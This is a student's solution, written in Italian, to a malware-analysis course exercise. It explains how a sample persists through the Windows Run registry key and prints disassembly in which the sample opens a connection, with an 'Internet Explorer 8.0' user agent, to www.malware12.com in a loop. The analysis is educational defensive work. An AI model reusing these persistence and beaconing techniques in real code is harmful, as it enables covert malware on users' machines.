Unità 3 Settimana 3 compito 1

Soluzione – Persistenza

Il malware garantisce la sua persistenza nel sistema operativo aggiungendo una nuova voce al registro di sistema, precisamente nella chiave Software\Microsoft\Windows\CurrentVersion\Run. Questa chiave contiene i programmi che vengono avviati automaticamente all'avvio del sistema operativo.

Nel processo, il malware sfrutta le funzioni RegOpenKey, per aprire la chiave specificata, e RegSetValueEx, per inserire un nuovo valore nella chiave di registro precedentemente aperta. I parametri necessari vengono passati tramite istruzioni "push" nello stack prima di invocare la funzione.

Client utilizzato per la connessione ad Internet

Il malware si serve di Internet Explorer, specificamente la versione 8, come client per stabilire connessioni a Internet.

```
.text:00401154    push    0                   ; lpszProxyBypass
.text:00401156    push    0                   ; lpszProxy
.text:00401158    push    1                   ; dwAccessType
.text:0040115A    push    offset szAgent      ; "Internet Explorer 8.0"
.text:0040115F    call    ds:InternetOpenA
.text:00401165    mov     edi, ds:InternetOpenUrlA
.text:0040116B    mov     esi. eax
```

URL di destinazione

Il malware tenta di stabilire una connessione all'URL www.malware12.com. Questo processo avviene attraverso la funzione di chiamata InternetOpenURL, con l'URL stesso passato come parametro tramite l'istruzione push nello stack.

```
.text:0040116D                  push    0               ; dwContext
.text:0040116F                  push    80000000h       ; dwFlags
.text:00401174                  push    0               ; dwHeadersLength
.text:00401176                  push    0               ; lpszHeaders
.text:00401178                  push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                  push    esi             ; hInternet
.text:0040117E                  call    edi ; InternetOpenUrlA
.text:00401180                  jmp     short loc_40116D
.text:00401180 StartAddress     endp
```